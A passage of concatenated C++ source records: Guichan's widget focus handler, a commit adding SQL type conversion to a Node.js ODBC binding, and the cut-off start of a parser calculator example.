\/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/\n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/\n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/\n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/\n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/\n *\n * Copyright (c) 2004, 2005, 2006, 2007 Olof Naessn and Per Larsson\n *\n *                                                         Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * For comments regarding functions please see the header file.\n *\/\n\n#include \"guichan\/focushandler.hpp\"\n\n#include \"guichan\/focuslistener.hpp\"\n#include \"guichan\/exception.hpp\"\n#include \"guichan\/widget.hpp\"\n\nnamespace gcn\n{\n    FocusHandler::FocusHandler()\n    {\n        mFocusedWidget = NULL;\n        mToBeFocused = NULL;\n        mModalFocusedWidget = NULL;\n        mModalMouseInputFocusedWidget = NULL;\n    }\n\n    void FocusHandler::requestFocus(Widget* widget)\n    {\n        mToBeFocused = widget;\n    }\n\n    void FocusHandler::requestModalFocus(Widget* widget)\n    {\n        if (mModalFocusedWidget != NULL && mModalFocusedWidget != widget)\n        {\n            throw GCN_EXCEPTION(\"Another widget allready has modal focus.\");\n        }\n\n        mModalFocusedWidget = widget;\n\n        if (mFocusedWidget != NULL && !mFocusedWidget->hasModalFocus())\n        {\n            focusNone();\n        }\n    }\n\n    void FocusHandler::requestModalMouseInputFocus(Widget* widget)\n    {\n        if (mModalMouseInputFocusedWidget != NULL\n            && mModalMouseInputFocusedWidget != widget)\n        {\n            throw GCN_EXCEPTION(\"Another widget allready has modal input focus.\");\n        }\n\n        mModalMouseInputFocusedWidget = widget;\n    }\n\n    void FocusHandler::releaseModalFocus(Widget* widget)\n    {\n        if (mModalFocusedWidget == widget)\n        {\n            mModalFocusedWidget = NULL;\n        }\n    }\n\n    void FocusHandler::releaseModalMouseInputFocus(Widget* widget)\n    {\n        if (mModalMouseInputFocusedWidget == widget)\n        {\n            mModalMouseInputFocusedWidget = NULL;\n        }\n    }\n\n    Widget* FocusHandler::getFocused() const\n    {\n        return mFocusedWidget;\n    }\n\n    Widget* FocusHandler::getModalFocused() const\n    {\n        return mModalFocusedWidget;\n    }\n\n    Widget* FocusHandler::getModalMouseInputFocused() const\n    {\n        return mModalMouseInputFocusedWidget;\n    }\n\n    void FocusHandler::focusNext()\n    {\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            ++focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget >= (int)mWidgets.size())\n            {\n                focusedWidget = 0;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n        }\n        while (!mWidgets.at(focusedWidget)->isFocusable());\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n\n            Event focusEvent(mFocusedWidget);\n            distributeFocusGainedEvent(focusEvent);\n            \/\/mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            Event focusEvent(mWidgets.at(focused));\n            distributeFocusLostEvent(focusEvent);\n           \/\/ mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    void FocusHandler::focusPrevious()\n    {\n        if (mWidgets.size() == 0)\n        {\n            mFocusedWidget = NULL;\n            return;\n        }\n\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            --focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget <= 0)\n            {\n                focusedWidget = mWidgets.size() - 1;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n        }\n        while (!mWidgets.at(focusedWidget)->isFocusable());\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            Event focusEvent(mFocusedWidget);\n            distributeFocusGainedEvent(focusEvent);\n            \/\/mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            Event focusEvent(mWidgets.at(focused));\n            distributeFocusLostEvent(focusEvent);\n            \/\/mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    bool FocusHandler::isFocused(const Widget* widget) const\n    {\n        return mFocusedWidget == widget;\n    }\n\n    void FocusHandler::add(Widget* widget)\n    {\n        mWidgets.push_back(widget);\n    }\n\n    void FocusHandler::remove(Widget* widget)\n    {\n        if (widget == mToBeFocused)\n        {\n            mToBeFocused = NULL;\n        }\n\n        if (isFocused(widget))\n        {\n            mFocusedWidget = NULL;\n            mToBeFocused = NULL;\n        }\n\n        WidgetIterator iter;\n\n        for (iter = mWidgets.begin(); iter != mWidgets.end(); ++iter)\n        {\n            if ((*iter) == widget)\n            {\n                mWidgets.erase(iter);\n                return;\n            }\n        }\n    }\n\n    void FocusHandler::focusNone()\n    {\n\n        if (mFocusedWidget != NULL)\n        {\n            Widget* focused = mFocusedWidget;\n            mFocusedWidget = NULL;\n\n            Event focusEvent(focused);\n            distributeFocusLostEvent(focusEvent);\n            \/\/focused->focusLost();\n        }\n\n        mToBeFocused = NULL;\n    }\n\n    void FocusHandler::tabNext()\n    {\n        if (mFocusedWidget != NULL)\n        {\n            if (!mFocusedWidget->isTabOutEnabled())\n            {\n                return;\n            }\n        }\n\n        if (mWidgets.size() == 0)\n        {\n            mFocusedWidget = NULL;\n            return;\n        }\n\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n        bool done = false;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            ++focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget >= (int)mWidgets.size())\n            {\n                focusedWidget = 0;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n\n            if (mWidgets.at(focusedWidget)->isFocusable() &&\n                mWidgets.at(focusedWidget)->isTabInEnabled() &&\n                (mModalFocusedWidget == NULL ||\n                 mWidgets.at(focusedWidget)->hasModalFocus()))\n            {\n                done = true;\n            }\n        }\n        while (!done);\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            Event focusEvent(mFocusedWidget);\n            distributeFocusGainedEvent(focusEvent);\n            \/\/mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            Event focusEvent(mWidgets.at(focused));\n            distributeFocusLostEvent(focusEvent);\n            \/\/mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    void FocusHandler::tabPrevious()\n    {\n        if (mFocusedWidget != NULL)\n        {\n            if (!mFocusedWidget->isTabOutEnabled())\n            {\n                return;\n            }\n        }\n\n        if (mWidgets.size() == 0)\n        {\n            mFocusedWidget = NULL;\n            return;\n        }\n\n        int i;\n        int focusedWidget = -1;\n        for (i = 0; i < (int)mWidgets.size(); ++i)\n        {\n            if (mWidgets[i] == mFocusedWidget)\n            {\n                focusedWidget = i;\n            }\n        }\n        int focused = focusedWidget;\n        bool done = false;\n\n        \/\/ i is a counter that ensures that the following loop\n        \/\/ won't get stuck in an infinite loop\n        i = (int)mWidgets.size();\n        do\n        {\n            --focusedWidget;\n\n            if (i==0)\n            {\n                focusedWidget = -1;\n                break;\n            }\n\n            --i;\n\n            if (focusedWidget <= 0)\n            {\n                focusedWidget = mWidgets.size() - 1;\n            }\n\n            if (focusedWidget == focused)\n            {\n                return;\n            }\n\n            if (mWidgets.at(focusedWidget)->isFocusable() &&\n                mWidgets.at(focusedWidget)->isTabInEnabled() &&\n                (mModalFocusedWidget == NULL ||\n                 mWidgets.at(focusedWidget)->hasModalFocus()))\n            {\n                done = true;\n            }\n        }\n        while (!done);\n\n        if (focusedWidget >= 0)\n        {\n            mFocusedWidget = mWidgets.at(focusedWidget);\n            Event focusEvent(mFocusedWidget);\n            distributeFocusGainedEvent(focusEvent);\n            \/\/mWidgets.at(focusedWidget)->focusGained();\n        }\n\n        if (focused >= 0)\n        {\n            Event focusEvent(mWidgets.at(focused));\n            distributeFocusLostEvent(focusEvent);\n            \/\/mWidgets.at(focused)->focusLost();\n        }\n    }\n\n    void FocusHandler::applyChanges()\n    {\n        if (mToBeFocused == mFocusedWidget)\n        {\n            return;\n        }\n\n        if (mToBeFocused != NULL)\n        {\n            unsigned int i = 0;\n            int toBeFocusedIndex = -1;\n            for (i = 0; i < mWidgets.size(); ++i)\n            {\n                if (mWidgets[i] == mToBeFocused)\n                {\n                    toBeFocusedIndex = i;\n                    break;\n                }\n            }\n\n            if (toBeFocusedIndex < 0)\n            {\n                throw GCN_EXCEPTION(\"Trying to focus a none existing widget.\");\n            }\n\n            Widget *oldFocused = mFocusedWidget;\n\n            if (oldFocused != mToBeFocused)\n            {\n                mFocusedWidget = mWidgets.at(toBeFocusedIndex);\n\n                if (oldFocused != NULL)\n                {\n                    Event focusEvent(oldFocused);\n                    distributeFocusLostEvent(focusEvent);\n                    \/\/oldFocused->focusLost();\n                }\n\n                Event focusEvent(mWidgets.at(toBeFocusedIndex));\n                distributeFocusGainedEvent(focusEvent);\n                \/\/mWidgets.at(toBeFocusedIndex)->focusGained();\n            }\n\n            mToBeFocused = NULL;\n        }\n    }\n\n       \n    void FocusHandler::distributeFocusLostEvent(const Event& focusEvent)\n    {\n        Widget* sourceWidget = focusEvent.getSource();\n\n        std::list<FocusListener*> focusListeners = sourceWidget->_getFocusListeners();\n\n        \/\/ Send the event to all focus listeners of the widget.\n        for (std::list<FocusListener*>::iterator it = focusListeners.begin();\n             it != focusListeners.end();\n             ++it)\n        {\n            (*it)->focusLost(focusEvent);\n        }\n    }\n\n    void FocusHandler::distributeFocusGainedEvent(const Event& focusEvent)\n    {\n        Widget* sourceWidget = focusEvent.getSource();\n\n        std::list<FocusListener*> focusListeners = sourceWidget->_getFocusListeners();\n\n        \/\/ Send the event to all focus listeners of the widget.\n        for (std::list<FocusListener*>::iterator it = focusListeners.begin();\n             it != focusListeners.end();\n             ++it)\n        {\n            (*it)->focusGained(focusEvent);\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"nan.h\"\r\n#include \"nanodbc.h\"\r\n#include \"picojson.h\"\r\n\r\nusing std::string;\r\n\r\nstatic v8::Persistent<v8::FunctionTemplate> nodbc_constructor;\r\n\r\nclass NodbcConnection : node::ObjectWrap {\r\npublic:\r\n    static void Init();\r\n    static NAN_METHOD(New);\r\n    static NAN_METHOD(IsConnected);\r\n    static NAN_METHOD(Open);\r\n    static NAN_METHOD(Close);\r\n    static NAN_METHOD(Execute);\r\nprivate:\r\n    nanodbc::connection connection;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::New) {\r\n    NanScope();\r\n\r\n    NodbcConnection *obj = new NodbcConnection();\r\n    obj->Wrap(args.Holder());\r\n\r\n    NanReturnValue(args.Holder());\r\n}\r\n\r\nNAN_METHOD(NodbcConnection::IsConnected) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n\r\n    NanReturnValue(NanNew(self->connection.connected()));\r\n}\r\n\r\nclass OpenWorker : public NanAsyncWorker {\r\npublic:\r\n    OpenWorker(NanCallback *callback, nanodbc::connection *connection, string connectionString)\r\n        : NanAsyncWorker(callback), connection(connection), connectionString(connectionString) {}\r\n\r\n    void Execute() {\r\n        try {\r\n            connection->connect(connectionString);\r\n        }\r\n        catch (const nanodbc::database_error &err) {\r\n            SetErrorMessage(err.what());\r\n        }\r\n    }\r\n\r\nprivate:\r\n    nanodbc::connection *connection;\r\n    string connectionString;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::Open) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n    string connectionString(*NanAsciiString(args[0].As<v8::String>()));\r\n    NanCallback *callback = new NanCallback(args[1].As<v8::Function>());\r\n\r\n    OpenWorker *worker = new OpenWorker(callback, &self->connection, connectionString);\r\n    worker->SaveToPersistent(\"database\", args.Holder());\r\n    NanAsyncQueueWorker(worker);\r\n\r\n    NanReturnUndefined();\r\n}\r\n\r\nclass CloseWorker : public NanAsyncWorker {\r\npublic:\r\n    CloseWorker(NanCallback *callback, nanodbc::connection *connection)\r\n        : NanAsyncWorker(callback), connection(connection) {}\r\n\r\n    void Execute() {\r\n        connection->disconnect();\r\n    }\r\n\r\nprivate:\r\n    nanodbc::connection *connection;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::Close) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n    NanCallback *callback = new NanCallback(args[0].As<v8::Function>());\r\n\r\n    CloseWorker *worker = new CloseWorker(callback, &self->connection);\r\n    worker->SaveToPersistent(\"database\", args.Holder());\r\n    NanAsyncQueueWorker(worker);\r\n\r\n    NanReturnUndefined();\r\n}\r\n\r\nclass ExecuteWorker : public NanAsyncWorker {\r\npublic:\r\n    ExecuteWorker(NanCallback *callback, nanodbc::connection *connection, string query)\r\n        : NanAsyncWorker(callback), connection(connection), query(query) {}\r\n\r\n    void Execute() {\r\n        try {\r\n            nanodbc::result result = nanodbc::execute(*connection, query);\r\n\r\n            picojson::array rows;\r\n            const short columns = result.columns();\r\n\r\n            while (result.next()) {\r\n                picojson::object row;\r\n                for (short col = 0; col < columns; col++) {\r\n                    row[result.column_name(col)] = picojson::value(result.get<string>(col));\r\n                }\r\n                rows.push_back(picojson::value(row));\r\n            }\r\n\r\n            json = picojson::value(rows).serialize();\r\n        }\r\n        catch (const nanodbc::database_error &err) {\r\n            SetErrorMessage(err.what());\r\n        }\r\n    }\r\n\r\n    void HandleOKCallback() {\r\n        NanScope();\r\n\r\n        v8::Local<v8::Value> argv[] = {\r\n            NanNull(),\r\n            NanNew(json.c_str())\r\n        };\r\n\r\n        callback->Call(2, argv);\r\n    };\r\n\r\nprivate:\r\n    nanodbc::connection *connection;\r\n    string query;\r\n    string json;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::Execute) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n    string query(*NanAsciiString(args[0].As<v8::String>()));\r\n    NanCallback *callback = new NanCallback(args[1].As<v8::Function>());\r\n\r\n    ExecuteWorker *worker = new ExecuteWorker(callback, &self->connection, query);\r\n    worker->SaveToPersistent(\"database\", args.Holder());\r\n    NanAsyncQueueWorker(worker);\r\n\r\n    NanReturnUndefined();\r\n}\r\n\r\nvoid NodbcConnection::Init() {\r\n    v8::Local<v8::FunctionTemplate> tpl = NanNew<v8::FunctionTemplate>(NodbcConnection::New);\r\n    NanAssignPersistent(nodbc_constructor, tpl);\r\n    tpl->SetClassName(NanNew(\"NodbcConnection\"));\r\n    tpl->InstanceTemplate()->SetInternalFieldCount(1);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"isConnected\", NodbcConnection::IsConnected);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"open\", NodbcConnection::Open);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"close\", NodbcConnection::Close);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"execute\", NodbcConnection::Execute);\r\n}\r\n\r\nvoid Init(v8::Handle<v8::Object> target) {\r\n    NodbcConnection::Init();\r\n    target->Set(NanNew(\"NodbcConnection\"),\r\n        NanNew<v8::FunctionTemplate>(nodbc_constructor)->GetFunction());\r\n}\r\n\r\nNODE_MODULE(nodbc, Init)\r\n<commit_msg>Add type conversions to query return values.<commit_after>#ifdef _WIN32\r\n    #define WIN32_LEAN_AND_MEAN\r\n    #include <windows.h>\r\n#endif\r\n\r\n#include <sql.h>\r\n#include <sqlext.h>\r\n\r\n#include \"nan.h\"\r\n#include \"nanodbc.h\"\r\n#include \"picojson.h\"\r\n\r\nusing std::string;\r\n\r\nstatic v8::Persistent<v8::FunctionTemplate> nodbc_constructor;\r\n\r\nclass NodbcConnection : node::ObjectWrap {\r\npublic:\r\n    static void Init();\r\n    static NAN_METHOD(New);\r\n    static NAN_METHOD(IsConnected);\r\n    static NAN_METHOD(Open);\r\n    static NAN_METHOD(Close);\r\n    static NAN_METHOD(Execute);\r\nprivate:\r\n    nanodbc::connection connection;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::New) {\r\n    NanScope();\r\n\r\n    NodbcConnection *obj = new NodbcConnection();\r\n    obj->Wrap(args.Holder());\r\n\r\n    NanReturnValue(args.Holder());\r\n}\r\n\r\nNAN_METHOD(NodbcConnection::IsConnected) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n\r\n    NanReturnValue(NanNew(self->connection.connected()));\r\n}\r\n\r\nclass OpenWorker : public NanAsyncWorker {\r\npublic:\r\n    OpenWorker(NanCallback *callback, nanodbc::connection *connection, string connectionString)\r\n        : NanAsyncWorker(callback), connection(connection), connectionString(connectionString) {}\r\n\r\n    void Execute() {\r\n        try {\r\n            connection->connect(connectionString);\r\n        }\r\n        catch (const nanodbc::database_error &err) {\r\n            SetErrorMessage(err.what());\r\n        }\r\n    }\r\n\r\nprivate:\r\n    nanodbc::connection *connection;\r\n    string connectionString;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::Open) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n    string connectionString(*NanAsciiString(args[0].As<v8::String>()));\r\n    NanCallback *callback = new NanCallback(args[1].As<v8::Function>());\r\n\r\n    OpenWorker *worker = new OpenWorker(callback, &self->connection, connectionString);\r\n    worker->SaveToPersistent(\"database\", args.Holder());\r\n    NanAsyncQueueWorker(worker);\r\n\r\n    NanReturnUndefined();\r\n}\r\n\r\nclass CloseWorker : public NanAsyncWorker {\r\npublic:\r\n    CloseWorker(NanCallback *callback, nanodbc::connection *connection)\r\n        : NanAsyncWorker(callback), connection(connection) {}\r\n\r\n    void Execute() {\r\n        connection->disconnect();\r\n    }\r\n\r\nprivate:\r\n    nanodbc::connection *connection;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::Close) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n    NanCallback *callback = new NanCallback(args[0].As<v8::Function>());\r\n\r\n    CloseWorker *worker = new CloseWorker(callback, &self->connection);\r\n    worker->SaveToPersistent(\"database\", args.Holder());\r\n    NanAsyncQueueWorker(worker);\r\n\r\n    NanReturnUndefined();\r\n}\r\n\r\nclass ExecuteWorker : public NanAsyncWorker {\r\npublic:\r\n    ExecuteWorker(NanCallback *callback, nanodbc::connection *connection, string query)\r\n        : NanAsyncWorker(callback), connection(connection), query(query) {}\r\n\r\n    void Execute() {\r\n        try {\r\n            nanodbc::result result = nanodbc::execute(*connection, query);\r\n\r\n            picojson::array rows;\r\n            const short columns = result.columns();\r\n\r\n            while (result.next()) {\r\n                picojson::object row;\r\n                for (short col = 0; col < columns; col++) {\r\n                    row[result.column_name(col)] = GetJsonValue(&result, col);\r\n                }\r\n                rows.push_back(picojson::value(row));\r\n            }\r\n\r\n            json = picojson::value(rows).serialize();\r\n        }\r\n        catch (const nanodbc::database_error &err) {\r\n            SetErrorMessage(err.what());\r\n        }\r\n    }\r\n\r\n    void HandleOKCallback() {\r\n        NanScope();\r\n\r\n        v8::Local<v8::Value> argv[] = {\r\n            NanNull(),\r\n            NanNew(json.c_str())\r\n        };\r\n\r\n        callback->Call(2, argv);\r\n    };\r\n\r\nprivate:\r\n    picojson::value GetJsonValue(nanodbc::result *result, short col) {\r\n        if (result->is_null(col)) {\r\n            return picojson::value();\r\n        }\r\n\r\n        switch (result->column_datatype(col)) {\r\n        case SQL_NUMERIC:\r\n        case SQL_DECIMAL:\r\n        case SQL_INTEGER:\r\n        case SQL_SMALLINT:\r\n        case SQL_TINYINT:\r\n        case SQL_BIGINT:\r\n        case SQL_FLOAT:\r\n        case SQL_REAL:\r\n        case SQL_DOUBLE:\r\n            return picojson::value(result->get<double>(col));\r\n        default:\r\n            return picojson::value(result->get<string>(col));\r\n        }\r\n    }\r\n\r\n    nanodbc::connection *connection;\r\n    string query;\r\n    string json;\r\n};\r\n\r\nNAN_METHOD(NodbcConnection::Execute) {\r\n    NanScope();\r\n\r\n    NodbcConnection *self = ObjectWrap::Unwrap<NodbcConnection>(args.Holder());\r\n    string query(*NanAsciiString(args[0].As<v8::String>()));\r\n    NanCallback *callback = new NanCallback(args[1].As<v8::Function>());\r\n\r\n    ExecuteWorker *worker = new ExecuteWorker(callback, &self->connection, query);\r\n    worker->SaveToPersistent(\"database\", args.Holder());\r\n    NanAsyncQueueWorker(worker);\r\n\r\n    NanReturnUndefined();\r\n}\r\n\r\nvoid NodbcConnection::Init() {\r\n    v8::Local<v8::FunctionTemplate> tpl = NanNew<v8::FunctionTemplate>(NodbcConnection::New);\r\n    NanAssignPersistent(nodbc_constructor, tpl);\r\n    tpl->SetClassName(NanNew(\"NodbcConnection\"));\r\n    tpl->InstanceTemplate()->SetInternalFieldCount(1);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"isConnected\", NodbcConnection::IsConnected);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"open\", NodbcConnection::Open);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"close\", NodbcConnection::Close);\r\n    NODE_SET_PROTOTYPE_METHOD(tpl, \"execute\", NodbcConnection::Execute);\r\n}\r\n\r\nvoid Init(v8::Handle<v8::Object> target) {\r\n    NodbcConnection::Init();\r\n    target->Set(NanNew(\"NodbcConnection\"),\r\n        NanNew<v8::FunctionTemplate>(nodbc_constructor)->GetFunction());\r\n}\r\n\r\nNODE_MODULE(nodbc, Init)\r\n<|endoftext|>"}
{"text":"<commit_before>#define THEWIZARDPLUSPLUS_WIZARD_PARSER_PARSER_MACROSES\n\n#include \"vendor\/better-enums\/enum_strict.hpp\"\n#include \"vendor\/range\/v3\/view\/drop.hpp\"\n#include \"vendor\/range\/v3\/view\/transform.hpp\"\n#include \"vendor\/fmt\/format.hpp\"\n#include \"vendor\/range\/v3\/view\/chunk.hpp\"\n#include \"vendor\/range\/v3\/to_container.hpp\"\n#include \"vendor\/range\/v3\/numeric\/accumulate.hpp\"\n#include \"vendor\/docopt\/docopt.hpp\"\n#include \"vendor\/range\/v3\/algorithm\/find_if.hpp\"\n#include <thewizardplusplus\/wizard_parser\/exceptions\/unexpected_entity_exception.hpp>\n#include <thewizardplusplus\/wizard_parser\/lexer\/lexeme.hpp>\n#include <thewizardplusplus\/wizard_parser\/lexer\/tokenize.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/rule_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/dummy_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/typing_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/match_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/concatenation_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/lookahead_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/repetition_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/list_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/alternation_parser.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/ast_node.hpp>\n#include <thewizardplusplus\/wizard_parser\/exceptions\/positional_exception.hpp>\n#include <thewizardplusplus\/wizard_parser\/parser\/parse.hpp>\n#include <thewizardplusplus\/wizard_parser\/utilities\/utilities.hpp>\n#include <cstddef>\n#include <functional>\n#include <vector>\n#include <cstdint>\n#include <regex>\n#include <unordered_map>\n#include <string>\n#include <cstdlib>\n#include <iostream>\n#include <stdexcept>\n#include <string_view>\n#include <iterator>\n#include <sstream>\n#include <limits>\n#include <iomanip>\n#include <exception>\n\nusing namespace thewizardplusplus::wizard_parser;\nusing namespace thewizardplusplus::wizard_parser::parser::operators;\nusing namespace std::literals::string_literals;\n\nstruct function final {\n\tconst std::size_t arity;\n\tconst std::function<double(const std::vector<double>&)> handler;\n};\n\nBETTER_ENUM(entity_type, std::uint8_t,\n\tnode = exceptions::entity_type::_size(),\n\tconstant,\n\tfunction\n)\n\ntemplate<entity_type::_integral type>\nusing unexpected_entity_exception =\n\texceptions::base_unexpected_entity_exception<entity_type, type>;\n\nconst auto usage =\nR\"(Usage:\n  .\/example [options] [--] [<expression>]\n\nOptions:\n  -h, --help                           - show this message;\n  -t TARGET, --target TARGET           - preliminary target of processing\n                                       (allowed: tokens, cst);\n  -p PRECISION, --precision PRECISION  - precision of a result;\n  -s, --stdin                          - read an expression from stdin;\n  -V, --verbose                        - mark an error.)\";\nconst auto lexemes = lexer::lexeme_group{\n\t{std::regex{R\"(\\+)\"}, \"plus\"},\n\t{std::regex{R\"(-)\"}, \"minus\"},\n\t{std::regex{R\"(\\*)\"}, \"star\"},\n\t{std::regex{R\"(\/)\"}, \"slash\"},\n\t{std::regex{R\"(%)\"}, \"percent\"},\n\t{std::regex{R\"(\\()\"}, \"opening_parenthesis\"},\n\t{std::regex{R\"(\\))\"}, \"closing_parenthesis\"},\n\t{std::regex{R\"(,)\"}, 